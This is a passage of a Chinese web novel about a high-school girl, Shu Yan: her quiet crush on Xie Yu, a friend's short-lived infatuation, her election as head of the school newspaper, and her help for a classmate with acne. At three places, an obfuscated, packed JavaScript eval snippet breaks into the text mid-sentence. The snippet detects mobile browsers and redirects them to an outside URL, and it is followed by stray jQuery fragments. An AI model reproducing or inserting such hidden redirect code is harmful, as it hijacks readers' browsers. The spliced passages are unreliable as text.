她的流量套餐是每个月五块钱30M的，流量不多，平时也很少上网。 可今天晚上，在这一刻，她就是很想知道他的答复。 汹涌的情绪仿若洪水般席卷了她的全身，可她的心脏是剧烈跳动的，手是无意识颤抖的。 上线以后，舒言立马去翻自己的好友列表。 她的好友不多，自然能很快找到。 可找到他的时候，却发现头像是灰色的，他并没有在线。 舒言抿了抿唇，有些无力地退出了登录。 心里却又好像在庆幸，幸好他此刻不在线。 不然她不知道自己该怀着怎么的心情又或者是以什么身份去给他发消息。 可如果得到的答案不是她想要的呢，她又该怎样忍下眼泪躺在床上入睡。 她眺望着窗外点缀在黑夜里的零星灯火，心情却一点点沉下去。 说实话她其实挺羡慕周荔的。 羡慕她的大胆，热情，也羡慕她能够随心所欲地表达自己的想法。 而舒言的情绪更多是含蓄的，是内敛的，是被藏起来的。 从小到大，她和父母的相处也是平淡的，像相互表达喜欢这样的事情从未发生在他们之间，甚至连鼓励都是很少的。 可今天下午的事情却让她控制不住地湿了眼眶，将隐藏的情绪暴露在外。 而这些都只是因为…… 舒言垂眸拿出自己的日记本，毫无头绪地在上面写了几行字，想要疏解此刻煎熬、苦闷的心情。 桌上的闹钟发出嘀嗒声，秒针不知疲惫地转着圈，在它重新归零的那一刻，舒言脑海里突然浮现《鳄鱼手记》里的那句“我这个人开始对你产生意义了吗？” 我这个人开始对你产生意义了吗？ 她提笔给出了肯定的回答。 ——是的。 你的存在开始对我产生意义了。 那些朦胧的，陌生的，晦涩的东西，在写下这句话的时候，一切都仿佛拨云见日。 暖黄色的灯光打在舒言的脸上，她有些涩然地眨了下眼睛，纤长的睫毛如同蝴蝶般在光影下展开了翅膀。 她彻底明白过来—— 原来是她的世界起雾了。 只是这场薄雾，或许不是始于这个初夏的，而是在更早的时候，在他们相遇的春天。 _ 返校的时候舒言收到了一个好消息。 秦梦告诉她上次帮她投给杂志的那篇文章已经接收了，下个月就会出版，到时候杂志方还会给她寄来样刊。 舒言也收到了一笔还不错的稿费。 借此机会，舒言又向杂志社新投了两篇文章。 她给自己取的笔名叫做青槐，源自她最喜欢的槐花。 说起来她和槐字也另有渊源。 小的时候她体弱多病，后来爷爷找人给她算了一卦，说是她命里缺木，最好取个带木的名字。 爷爷让陈岚他们给她去派出所改名，可陈岚嫌麻烦，就不愿意去。 可爷爷还是给她取了个带木的小名，就叫小槐。 只是除了爷爷，没有人会这么叫她。 她也从未告诉过其他人自己还有个小名。 …… 一眨眼，时间又来到周二的上午，第一节课是语文课，下课后教室里齐刷刷地倒了一片。 舒言拍拍蔡妙妙的肩膀，问她要不要一起去上厕所。 蔡妙妙原来蔫蔫的，一听她的话突然就精神了不少。 她神秘兮兮地挑了下眉，压低声音，“走走走，言言，我还有话想对你说。” 可等她们出了教室，蔡妙妙却一直沉默不语。 直到他们经过隔壁2班的教室，来到1班的教室门口时，蔡妙妙突然有些兴奋起来。 她脸上出现可疑的两团红晕，压低了声音，凑近舒言耳畔，说：“言言，你看到站在讲台上的男生没……” 舒言顺着她的视线看去。 是一个个子很高的男生，长得挺清秀的。 舒言收回视线，不明所以地凝视着明显有些羞涩的某人，淡声问：“怎么了？” 蔡妙妙吞了吞口水，拉着她快步离开，等到了厕所门口才说：“就那个男生，我觉得长得挺帅的。” “我好像有点……喜欢他。” 舒言直接征愣在原地。 原来……妙妙竟然也有了喜欢的人吗。 像是突然找到了可以共鸣的人一样。 一时之间，她有些不知道该说些什么，只剩微妙的情绪涌上心头。 蔡妙妙脸上露出羞涩的笑：“你别告诉别人，这件事我只告诉你了，帮我保密。” 舒言低声说好。 等两人从厕所出来，舒言本来想多问几句，但无奈上课铃声响了起来，也只能作罢。 好不容易等到中午，蔡妙妙今天又要回家去休息。 直到下午第三节课下课后，舒言才有了和蔡妙妙说话的机会。 可还没等她开口说什么，蔡妙妙就有气无力地和她说：“言言，我失恋了。” 舒言一脸疑惑地盯着她。 不明白为什么才过了半天，她就忽然说自己失恋了。 蔡妙妙面露难色，脸上还有些嫌弃，吞吞吐吐的，终于鼓起勇气说了出来。 “他好没素质啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236206|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 舒言皱眉：“嗯？为什么这么说。” 蔡妙妙告诉她，她是上周突然注意到的那个男生，还打听到了他的名字，叫林海潮，是文科尖子班1班的学生。 她原本不喜欢学文科的男生，但是林海潮气质温和，刚好长在她的审美上，而且说话声音也很好听。 她就没忍住多关注了他一些，平时下课上厕所的频率都高了很多。 听着妙妙说这些，舒言才反应过来，难怪上周下课后，她老是吵着要去上厕所，原来是这个原因。 舒言：“那是今天发生了什么事吗？” 蔡妙妙叹了口气，手重重地往桌上拍了一下，说：“他他他……我今天下午来的时候，看看他竟然往我们班教室门口吐了一口痰。” 说完更是感觉恶心得快要yue出来，脸上说不出来的嫌弃。 “天哪，你都不知道，我当时看见的时候，内心有多崩溃吗，他在我内心的形象完全破碎，任他长得再帅都没用。” 蔡妙妙越说越义愤填膺，显然是真的被恶心到了。 “我当时直接愣住在了原地，都忘了骂他，结果他发现我在看他，还反回来骂我是傻逼。” “呜呜呜，我的初恋就这样死了，我失恋了。” 舒言情绪有些复杂，第一次遇见这种事情，不知道该怎么去安慰她，只能默默抓住她的手，拍了拍她的背给予她力量。 原本趴在一旁睡觉的陈质却徒然直起身来，显然是听到她们刚才的对话了。 他握拳抵住唇轻笑，“蔡妙妙，你这叫什么失恋啊，你这最多叫单相思。” 蔡妙妙一听脸皱得更厉害了，眼睛也红红的，“我不管，我就是失恋了。” “原本我还因为突然有了喜欢的人觉得有些害怕。” “现在好了，我的初恋直接烂掉了。” 陈质被她这副模样吓到了，赶紧出声安慰了她几句。 “哎呀，你别伤心了，不喜欢了才好呢，早恋本来就是不对的。” “我们是学生，唯一的任务就是应该好好学习，不应该去关注其他的。” “况且那个人这么没素质，本来也不值得你喜欢，你一开始就看错了人，没必要因为这件事情难过。” 蔡妙妙吸了下鼻子，看向舒言，声音闷闷的，“言言，你也是这样想的吗，你也觉得我一开始就不应该喜欢他吗？” 这个问题…… 舒言递给她两张纸巾擦脸，宽慰她：“其实初中的政治书上早就已经告诉了我们答案。” 她还记得政治书上写的是，在青春期我们可能会对异性感到好奇，甚至产生好感，这些都是很正常的事情。 以前的她心思全在学习上，没有过这样的体验，可就在前不久，她也有了这样的经历。 可舒言并没有觉得喜欢上一个人是件多么难以启齿的事情，也从来不认为喜欢上一个人是错的。 她反而觉得喜欢一个人是长大的标志之一，因为这意味着他们也拥有了去喜欢别人的能力。 从此之后，他们就不光拥有爱自己的能力，还有了去爱别人的能力。 只是年少时的这份喜欢无疑是青涩的，就像长在枝头还未成熟的果实，如果过早摘下，只会又苦又涩。 每个人都拥有喜欢的权利，只不过这份喜欢或许要找到一个更合适的时机才能开口。 舒言看着她的眼睛，语气很认真：“你没有错，妙妙，喜欢一个人是很正常的事情，但是我不希望你因为喜欢一个人而感到痛苦和困惑，也不愿意看到你因为这次的事情，以后不敢再去喜欢。” “你是一个很棒很勇敢的女孩，你的喜欢跟珍贵，要留给一个更真挚，更懂你，更优秀的人。” 19. 第19章 第三次月考如期到来。 一学期的考试已经把大家考得麻木，连对答案的时候都表现得没有之前那么积极了。 高一1班旁边有个天台，晚自习前，舒言和班上的几个同学一起到天台吹风。 乌金西坠，天边的云霞绚丽多彩，像画家不小心打翻的颜料盘，红色，橙色，黄色……交织在一起，却丝毫没有杂糅的感觉，只让人惊叹大自然才是天生的艺术家。 夏艺惊喜地伸出手指地指着远方，“今天晚上的晚霞好漂亮啊。” 蔡妙妙附和道：“是啊，果然只有考完试的时候才有心情抬头看天空。” 对于高中生来说，生活好像永远都是忙忙碌碌的，早起忙着上学，白天忙着上课，做作业，晚上下课后又急忙忙地回家、回宿舍。 舒言双手撑在栏杆上，也在享受难得的安逸和舒适。 和王远他们站在一起的陈质好几次往她的方向看来，又默默收回目光，嘴唇轻轻上扬。 夏艺撩了下被风吹乱的头发，“诶，你们以后都想考什么大学呢，或者说有什么梦想呢？” 闻言，大家都默契地陷入了短暂的沉默。 过了一会儿，王远眺望着远方，手上做着投篮状，眉眼间皆是意气风发，“我啊，我以后可能要出国，想去更大更远的世界看看。” 唐临笑着拍拍他的肩膀，“那以后你不就是传说中的海龟了嘛。” 他接着说：“我就没那么大的志向了，你们也知道的，我成绩一般般，以后可能就考个南港或者附近的大学吧。” 唐临初中成绩就很一般，高中能进他们班也是因为他父母和冉华容认识而已。 当然了，他自己也对学习没有多大兴趣，除了语文课，数学课还有化学课以外，其他课基本都在睡觉。 夏艺伸开双臂去拥抱太阳，微笑着说：“我父母希望我以后能够继承家里的公司，但是我想自己先出去闯一闯，找到自己真正热爱的事情。” 离她最近的陈质出声调侃她：“哟，夏大小姐，原来这就是你们有钱人的烦恼吗？大不了就回家继承家业对吧。” 夏艺笑着眯了眯眼睛，回敬他：“彼此彼此，谁不知道你们宁都三少的名气啊。” 陈质的脸被这话说得有点红，握拳轻咳了两声。 刚才大家说话的时候，蔡妙妙还真的在认真思考自己长大了要干什么。 她成绩也就中等水平，平时能考个三四百名，不过她父母对她也没有太高的要求，只要以后能上个一本就行了。 但是要真说起来她喜欢什么…… 蔡妙妙清了清嗓子，弱弱地说：“其实我长大了挺想试试去写小说的。” “你们看啊，我平时也看了这么多小说，是不是自己也能去写一写呢。” “而且上次……”见大家都盯着自己看，她有点不好意思，她扭头看舒言，继续说道：“就我和言言分享了那本女主是调香师的小说以后，我就在想如果我是作者，我绝对不会写这种专门虐女的小说。” “我希望我笔下的女主都活得很精彩，有属于自己的事业，从政从商从医都行，但是她们永远不会拘泥于情情爱爱，而是在自己从事的领域里闪闪发光……” 听见她这么说，舒言眼底有几秒的惊讶，不过很快变成对她的欣赏和鼓励。 她相信妙妙肯定可以做到的。 她对着蔡妙妙做了个加油的手势，“妙妙，你写的小说一定会非常好看。” 蔡妙妙眼睛弯成月牙状和她相视一笑。 夏艺打趣着在她眼前挥了挥手，“蔡大作家，以后火了可千万不要忘了我们啊。” 蔡妙妙朝她抛了个媚眼，“嘻嘻，放心吧，以后不会忘了你们的。” “说不定我还会把你们写进小说里呢。” 陈质笑着说：“那你可要把小爷我写得更帅点，最好直接是校草。” 王远：“还有我，我要当年纪第一。” 夏艺：“请把我写得貌美如花，倾国倾城好嘛，还有就是有花不完钱更好。” “哈哈哈哈，你们可真够贪心的啊，但是没关心，本大作家通通满足，要什么有什么……” “……” 等大家笑够后，忽然有人问了句：“那你呢，舒言，你有什么梦想吗？” 被问到的时候，舒言的脸上还带着笑容。 她的声音被风裹挟着，却带着几分坚定，“我想考到远一点的地方去。” 还得小的时候她希望能够一直待在南港生活，可不知道从什么时候开始，她心里想的却是离开。 夏艺：“远一点的地方，是要去北方吗？” 舒言笑着点头，“有可能吧，有机会的话，确实是打算去北方看看。” 王远：“我听陈质说你学习非常刻苦，加油啊，努把力说不定可以还考到北沅的大学去。” 陈质很难不赞同，“对啊，北沅挺好的，其实我……”他眨了眨眼睛，喉结滚动，“也挺想去的。” “如果你也想去的话，我们可以一起，也可以有个照应。” 陈质的成绩一直挺好的，尤其是他的数理化，唯一的短板大概就是语文了。 舒言开玩笑地回过头看着他说，“难不成你还想继续和我做同学啊。” 陈质喉间发涩，他飞快挠了下脸，声音低低的，“也不是不可以。” 只是可惜他这话说得太快，又恰好有呼呼的风声经过，最终还是没能落入舒言的耳中。 …… 自从上次在学校里撞见周荔给谢玙表白，舒言就再没有和他有过交集。 不是没有遇见他的机会，只不过都被她躲了过去。 记得有一次，舒言和蔡妙妙在食堂门口碰见他和何昭，她也只是拉着蔡妙妙快速地经过。 就连许愿许茉两姐妹让她帮忙抱作业去物理办公室，都被她随口找了个借口推脱了。 倒也不是害怕看见他，只是她觉得还需要再整理一下自己的心情。 况且如果他真的已经和周荔在一起了的话，她就更不应该和他有过多的接触。 保持合适的距离是维系他们目前关系的最佳选择。 舒言虽然已经意识到自己对谢玙确实有不一样的感情，可她并没有想过要把这份喜欢告诉他。 她承认自己没法像周荔一样畅所欲言，她会犹豫，会瞻前顾后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236207|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，只因为她很清楚自己这个阶段更应该专注于什么。 她努力学习从来都不是因为父母的要求，也不是为了夺得其他人的关注和认可，而是为了听上去有些虚无缥缈的自由两个字。 就是康德口中的那种自由—— 不是随心所欲，而是自我主宰。 或许是她年少不知天高地厚，可这未来，她想为自己拼一把。 …… 月考成绩出来得很快。 舒言这次如她自己所预料的那样，考进了年级前两百，可是在看到名次栏的121时，还是忍不住替自己感到高兴。 她在心里告诉自己。 再努努力吧。 再努把力说不定能考进年级前一百。 看见她的成绩时，陈质挑了下眉，“考得不错哦，舒言，很快就能追上我了。” 陈质这次的成绩是年级45名。 他轻啧了一声，“还好这次的作文终于没有偏题了，还得了个47分。” 他递给舒言一块巧克力，“多亏了你平时给我讲作文啊，我的好同桌。” 舒言笑着接了过来，还给他几颗水蜜桃味的糖果，“也谢谢你，我的好同桌，这次我的物理进步很大。” 陈质得意地拍了下大腿，“哎，没办法，这大概就是名师出高徒吧。” 他丝毫没有犹豫地接过糖果，剥开一颗扔进了嘴里。 认真品味了一番后，说了句：“这糖好甜啊。” 很甜吗？ 她明明记得不是很甜啊。 舒言也剥了一颗尝了下，水蜜桃的清香在嘴里化开，味道算不上很甜腻。 陈质一脸怀疑：“是吗？” 他笑了下，“那可能是我平时很少吃糖吧。” 这节课是大课间，还有一会儿才会上课。 舒言拿出水杯打算去外面接个水喝。 他们这层楼的饮水机是在一二班教室之间的休息区，每个学生都有自己的水卡。 排了一会儿队才轮到舒言，接完水后她原本打算从教室后门进去，却在进教室前听见一个很熟悉的声音。 她下意识抬头望了过去。 竟然是王远和……谢玙。 他个子很高，哪怕胳膊肘往栏杆的方向倾了些，也比王远高出大半个头来。 低着头在和王远说话，并没有注意到她。 舒言嘴唇微张，攥紧了手上的杯子。 他怎么会出现在他们班门口…… 她甚至怀疑是自己产生了幻觉。 在她愣神之际，后门突然有同学出来，她侧身让开的时候，不小心撞到了后门，发出一声很大的响动。 舒言有些尴尬地眨了眨眼睛，刚抬起头，就瞥见谢玙和王远朝她的方向走了过来。 心跳声骤然被放大数十倍。 扑通扑通—— 强劲而有力。 王远一脸关切地问她：“舒言，你没事吧。” 舒言摇摇头，目光却落在他身侧那人身上。 一个久违的，欲说还休又有些复杂的对视。 他脸上依旧是笑着的，只是那笑意只浮于表面，未达眼底。 20. 第20章 相持了几秒后，还是舒言率先挪开了目光。 她故作轻松地扯出个笑，对王远说：“那我先进去了，你们慢慢聊。” 王远刚想说好，没想到刚才还在一旁沉默不语的谢玙突然开口了。 “等一下。” 清冷平和的视线不偏不倚落在舒言身上，她听见谢玙说：“舒言，我找你。” 直截了当，没有半点拐弯抹角。 舒言微征，不明所以地看向他。 印象中这好像还是他第一次叫自己的名字。 原来她的名字从他嘴里念出来是这种感觉…… 明明是平平无奇的两个字，却平白多了点旖旎的意味。 王远：“！！！” “不是……” 他一脸诧异地偏过头看了看谢玙，又看向舒言。 内心受到一万点震惊。 他惊呼道：“你们居然认识？” 谢玙轻嗯了一声，视线却始终锁定在舒言身上。 他礼貌询问道：“方便聊聊吗？” 他都这么说了，舒言自然也不好拒绝，用眼神示意他，“去那边说吧。” 走廊上来来往往都是人，他本来又很惹眼，刚才就看见好几个同学在往他们这边瞟。 虽然舒言表现得很淡定，但内心难免有些紧张，却又抑制不住地好奇，他会和自己说什么呢…… 舒言捏了捏手心，生怕下一秒就从他的口中听见他和周荔在一起的消息。 见她应了下来，谢玙眼底终于有了点笑意。 他跟在舒言身后，来到了教室旁边的小阳台上，这会儿这里没有人。 停下来后，舒言几乎是立马抬头问他：“你找我是有什么事吗？” 谢玙微微颔首，他想了想，说：“梁潇雨他们想邀请你这周末一起玩。” 他背光站着，暖黄色的阳光在他的发顶跳跃，衬得线条分明的五官多了几分柔和，“还是在上次那个庭院。” 原来是这件事啊，舒言顿时松了一口气。 只是这个时间恐怕…… 舒言蹙了下眉。 下周校报社就要换届了，她要花点时间去准备社长的竞选。 她抱歉一笑，“不好意思啊，这周末恐怕不行，我有点事情要忙。” 听她这么说，谢玙眸色微暗，声音有点低落，“没关系，你先忙自己的事情。” 舒言点头说好。 心里却在纠结要不要开口问他是不是已经和周荔已经在一起了。 她沉默了几秒，最终还是鼓起勇气，“你和周荔……” 听到周荔两个字，谢玙眼神多少有点不自在，他哑着声问：“你那天看到了？” 舒言也没否认，“看到也听到了……” “她在和你表白。” 话音一落，谢玙挑了下眉，却意外地轻笑了两下，“那你怎么不多听一会儿……” “不然就不会不知道我和她只是普通同学了。” 舒言：“！！！” 她猛地抬起头，末了，又觉得自己表现得太激动，有些不自然地看向了其他地方。 只是内心某个地方又忍不住开始雀跃，仿佛被人塞了一把跳跳糖一样。 甜滋滋的。 两个人都默契的没有再开口。 过了一会儿，舒言实在忍不住问：“你还有其他事吗？没有的话，我就先……” “舒言。” 他又叫了她的名字。 “嗯？” “那天在食堂，你为什么……”他停顿了下，又接着说：“不和我们打招呼。” 明明是很正常的语气，但舒言却品出了点他好像很受伤的错觉？ 就像是在质问她为什么要躲着他一样。 “我……”舒言一时有点语塞，想着随口找个理由替自己开脱。 “……我没看到。” “是吗？”这个理由显然不能说服谢玙。 明明那天他们都对视了的，可她硬是当没看到一样拉着同学离开了。 舒言放弃挣扎，“对不起。” 遇事不决先道歉，这样总不会还错吧。 舒言偷偷用眼神去瞧他的表情，看他是不是还在生气。 谢玙自然没错过她的小动作，唇角微弯，几乎是下意识地伸出手摸了下她的脑袋。 轻柔的，小心翼翼的。 “原谅你了。” 末了，两人皆是一愣，一个飞快收回手，一个迅速别开脸。 只是微红的耳朵泄露了两个人此刻不太淡定的心情。 他怎么可以…… 舒言实在不好意思抬头看他，闷着声说：“我先回去上课了。” 说完就直接跑开了。 留在原地的谢玙盯着自己手指看了几秒，似乎还在回味刚才指尖的温度。 他握拳抵在唇上，挡住扬起的嘴角，心情十分不错地下了楼。 …… 舒言刚回到座位上，隔得老远就看见王远在朝自己挤眉弄眼。 如果不是上课铃声响了起来，他怕是恨不得马上就跑过来八卦。 舒言有些心虚地用书挡住了自己的脸，忍不住在心里叹气，心想怕是躲不过去了。 陈质见她有些反常，还特别贴心地问她怎么了。 舒言抿抿唇，只说自己没事。 这节课是物理课。 他们物理老师是个已经快要退休的男老师，经验丰富，教书几十年，有大把学生考上了北大、华大等知名高校。 他平时口头禅很多，舒言印象最深刻的就是那句—— 你们罗老师不是凡人。 当然了，能把物理学好并且交好的人，确实也算得上是仙人。 罗平威背过身在黑板上画电磁场，底下的学生都在安静地看着书，没有人出声讲话。 这节课才分析了三道大题就下课了。 铃声响起后，罗平威直接笑眯眯地把粉笔往桌上一扔，就让他们下课休息。 不拖堂是物理老师一贯的优秀品德。 下课后老师没着急离开，舒言赶紧拿着练习册去问了自己不太理解的一道题。 罗平威很耐心地给她讲解，结束的时候，还特意夸了她这次的物理成绩进步很大。 “要继续加油哦，小同学。” 舒言笑着点头。 等她拿着练习册回到座位，王远已经在此静候多时了。 他一副坦白从宽，抗拒从严的表情，“说吧，舒言同学，你怎么认识的谢玙啊。” 听得稀里糊涂的蔡妙妙感觉转过身问：“谁？你们在说谁？” 王远：“就那篮球7号。” “啊？”这一次蔡妙妙更晕了，“什么意思。” 陈质也一脸探究地看着舒言。 舒言有些无奈，但知道自己肯定糊弄不过去，“他是我舍友的小学同学，就之前在小卖部碰到，偶然认识的。” 末了，又加了句：“我们其实不是很熟的。” 王远意味深长的“哦”了一声，“不太熟啊，不太熟的话，他会来班上找你？” 蔡妙妙听得直接瞪大了双眼，声音有些控制不住，“什么？舒言你和篮球7号认识，他还来班上找你？” “妙妙，你小声点。”舒言忍不住出声提醒她。 蔡妙妙不好意思地笑了笑，“哦哦，对不起。” 八卦的小眼神车轱辘似的转来转去，“你们继续说。” 舒言看向王远，温声道：“他不是来找你的吗？” 王远揶揄一笑，“他来找我说打球的事情，不是啥重要的事。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236208|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那他也……”舒言眼睫下压，“也没和我说什么重要的事情。” 脑海里却不由自主地想起他刚才好像摸了下她的头。 ……应该是不小心碰到的吧。 王远一听也没了继续追问的兴趣，“这样啊，那他可能就是闲得无聊吧。” 舒言低声附和他：“大概吧。” 一旁静静听着的陈质却拧了下眉，只是看到舒言神色如常，嘴里的话又被咽了下去。 这个小插曲很快就被大家抛在脑后。 埋头学习才是他们这个年纪的头等大事。 至于别的，都不过是乏味生活的调味剂罢了。 …… 周末写完作业以后，舒言就开始准备竞选社长的发言稿。 竞选定在周三下午最后一节课。 舒言周末先把稿子写出来了，后面几天就可以专注背稿。 之前她加了学姐的Q.Q，周六的时候，学姐还特意发消息给她加油，让她不用太紧张，平常心对待就行。 发言稿是舒言抽出晚上睡觉前的时候背的，她记性好，记了两三遍就能脱稿了。 时间很快就来到了竞选当天。 报社特意在行政楼这边申请了一个会议室。 一共有三个人竞选社长的位置。 竞选的顺序是抽签决定的，舒言一来就抽到了第一个。 坐下底下的人有秦梦，还有上一届的社长以及他们高一年级的社团成员。 舒言挺直腰背走到了会议室的最前面，台下的秦梦还有学姐都朝她递上了鼓励的眼神。 舒言微微一笑，对着大家礼貌鞠躬。 “秦老师，学姐，还有各位同学大家下午好，我是高一三班的舒言，很高兴今天能够站在这里竞选下一届的报社社长一职。” 她的语调不急不缓，字正腔圆，脸上的笑容也是大方从容。 “首先我想谈谈为什么我要竞选社长。从很小的时候，我就有一个文字梦，想像那些著名的作家一样妙笔生花。写作是一件很神奇的事情，在作家笔下，我去过很多不曾到达的地方，尝过一些新奇美味的食物，体验过各式各样的人生……在作家的笔下一切好像都变得可能。” “……” “上学期社团招新的那天，我第一眼就注意到了校报社，只因为上面写着——“如果你爱好写作，就请加入我们”，这对我来说无疑是致命的吸引，所以我没有半点犹豫地加入了校报社。加入校报社后，每一期的征稿我都会参加，截止目前为止，几乎每期校报都有我写的文章，我感到很开心，也觉得很荣幸……” “……” “最后我想说，如果我能顺利当选校报社社长一职，我一定竭尽所能，积极配合秦老师的工作，尽可能地组织更多具有特色的征文活动，把我们的校报社办得越来越好，让更多热爱写作的同学加入进来……” “我的发言到处结束，感谢大家的耐心倾听！” 她对着台下再次鞠躬。 顷刻间，底下响起一片掌声。 回到座位上后，舒言激动的心情才慢慢平静下来。 接着是另外两位参加社长竞选的同学依次上台发言。 等他们结束后，秦梦组织大家开始匿名投票，学姐是计票员。 计票结束后，竞选结果自然一目了然。 舒言以票数优势成功当选下一届校报社社长。 秦梦笑着对她说：“恭喜你啊，舒言。” 学姐也说：“报社交给你我很放心，以后就靠你了。” 其他同学也凑上来恭喜她。 舒言一一谢过，脸上露出发自内心的笑容。 她真的做到了。 之后是社团各个部门部长的竞选，结束后校报社新旧两届间才算彻底实现了交替。 21. 第21章 临近六月，天气越来越热，象征着离别的凤凰花如期而至，火红的花朵成群在枝头簇拥着。 学生们彻底脱下了外套，换上了夏季的短袖校服。 南港中学的夏季校服男款和女款的短袖颜色不同，男生是蓝色和白色，女生则是粉色和蓝色。 周三下午第一节课是体育课。 体育老师整队后让大家上跑道跑两圈。 阳光炙热，学生们在太阳光下艰难地耷拉着眼皮，内心一万个不愿意，身上跟散架了似的。 直到体育老师再次催促着他们动起来，学生们才迈着小碎步走到了跑道上。 体育委员王远在最前面带队，他双手举过头顶拍了一下，“大家快动起来，跑完了就可以休息了。” 他嘴里喊着口号，调动大家的情绪，“来，1——2——1，1——2——1，动起来。” 学生们拖着沉重的双腿在跑道上挪动，用体育老师的话来说他们就是得了瘟病的小鸡仔。 舒言站在跑道内侧的位置，她旁边的女生叫做张筱竹，是分班以后才到他们班的，性格比较内敛，平时不爱说话，脸上还总是戴着个口罩。 舒言和她说过的话一双手就可以数过来。 南港的夏天总是潮湿又闷热，走在外面仿佛在蒸桑拿一样，可在这么热的天气里，张筱竹脸上依旧戴着口罩，舒言离她很近，跑步的时候听见她在大口喘气，像是呼吸不过来的样子。 这么热的天，戴着口罩应该挺闷的吧。 跑完两圈后，张筱竹佝偻着腰扶着双腿在原地大声喘气，额头上的刘海被汗水淋湿贴在了皮肤上，看上去虚弱又狼狈。 见她好半天没缓过来，舒言出声问她：“你还好吗？” 听见她的声音，张筱竹慢慢直起声来，声音闷闷的：“我没事。” 听见她的声音不太对劲，舒言关切地多问了两句：“张筱竹，你是感冒了吗？” 似乎是没想到她会继续关心自己，张筱竹转过头看她，声音被她刻意压低，“没有，我声音就是这样的。” 她看向自己的时候，舒言这才注意到她额头上长了很多红色的痘，密密麻麻的，而且还发炎了。 见她盯着自己的脸看，张筱竹立马把头扭了过去，眼神明显有些躲闪。 声音也带着抗拒的，“你别看我。” 舒言一下子就明白过来了。 原来张筱竹一直戴着口罩并不是因为她感冒了，而是因为她脸上长了痘痘，她不想被别人看到。 这种事情舒言初中的时候也经历过。 她初三的时候脸上突然长了很多红色的痘痘，但那个时候学习比较忙，她就没怎么在意，最开始也用口罩来遮掩，结果后面脸上的痘痘越来越严重。 舒言试探着问：“张筱竹，你可以……让我看看你的脸吗？” “你别害怕，我以前脸上也长过痘痘，和你脸上的很像。” 闻言，张筱竹抬眸看向她，眼神带着一丝警惕。 舒言一看她的眼神就知道她误会自己了，急忙说：“不是在这里看，我们去找个没有人的地方。” “你放心，我不会告诉别人的，说不定我能帮到你呢。” ”好不好？” 听她这么说，张筱竹看她的眼神才开始松动。 她飞快地眨着眼睛，声音带着喑哑，“你确定不会到处乱说对吧。” 舒言斩钉截铁地说：“我保证。” 张筱竹沉吟了一会儿，说：“那好吧，你跟我来。” 舒言展颜一笑，“好。” 蔡妙妙在那边和同学玩，看见舒言要走，朝她们喊了一句：“言言，你要去哪？” 舒言回过头说：“我和张筱竹有点事说，待会就回来。” 蔡妙妙比了个OK的手势。 舒言跟着张筱竹来到操场一个没人的角落里。 确认周围没有第三个人后，张筱竹这才挣扎着把手伸向口罩的挂绳。 在摘下口罩前，她再次和舒言确认：“我脸上很丑的，还可能会吓到你，你确定要看吗？” 舒言点点头，安抚她：“没关系的，你只是生病了而已，我以前的脸可能比你的还要严重。” 在她的鼓励下，张筱竹终于把口罩摘了下来，整张脸全部暴露在空气中。 舒言认真盯着她的脸看，她双颊的位置比额头上的痘痘还要多，而且因为她一直戴着口罩，不透气，发炎的情况要更严重一些。 舒言尽量放缓语气：“你别害怕，肯定可以治好的。” 她一脸正色道：“你脸上的痘痘已经很严重了，必须去看医生，你之前去看了吗？” 张筱竹摇摇头，“我……” “我怕我爸妈骂我。” 舒言不解：“为什么？” 张筱竹眼里有隐约的泪光，“我家比较穷，爸妈供我读书已经不容易了，都怪我自己，肯定是吃了不干净的东西，脸上才会长痘。” 她擦擦脸上的眼泪，“都是我自己不好，所以不敢告诉我爸妈，我痘痘长了挺久了，我怕吓到大家，所以只能一直戴着口罩，平时也不敢和大家说话，我怕大家被我的脸吓到……” 听着张筱竹话里话外都是对自己的指责，舒言心里有些不是滋味，但更多的是对她的心疼。 舒言伸手抓住张筱竹的肩膀，让她抬头看着自己，“张筱竹，这不怪你的，你不要害怕，我们的身体有一套很复杂的运行机制，但是它偶尔也会出错，所以我们的身体才会出一些小毛病，这些都是很正常的。” “导致脸上长痘痘的原因也有很多。吃东西可能只是其中一个，像身体分泌的激素，外部的环境刺激……这些都可能会让我们长痘痘。” “你听我说，你脸上长的痘痘和我初三的时候长的是一样的，以前我脸上长了痘痘，我也总是戴着口罩，但是后来去看了医生，才知道戴口罩会让痘痘变得更严重。” “我知道你是个懂事的好姑娘，不想加重父母的负担，但是如果你一直放任痘痘不管，以后可能需要花更多的钱才能把脸治好，所以我觉得你必须尽快自己的情况告诉你爸妈，让他们带你去看医生，我相信你爸妈肯定不会怪你的……” “我可以把我当初看病的医生的联系方式给你，是个很厉害的老中医，悄悄告诉你，我当初只喝了两副药，脸上的痘痘就全部好了哦，现在也没有再长。” 张筱竹吸着鼻子，雾蒙蒙的眼睛像是看到了希望，“真的只吃了两副药就好了吗？” 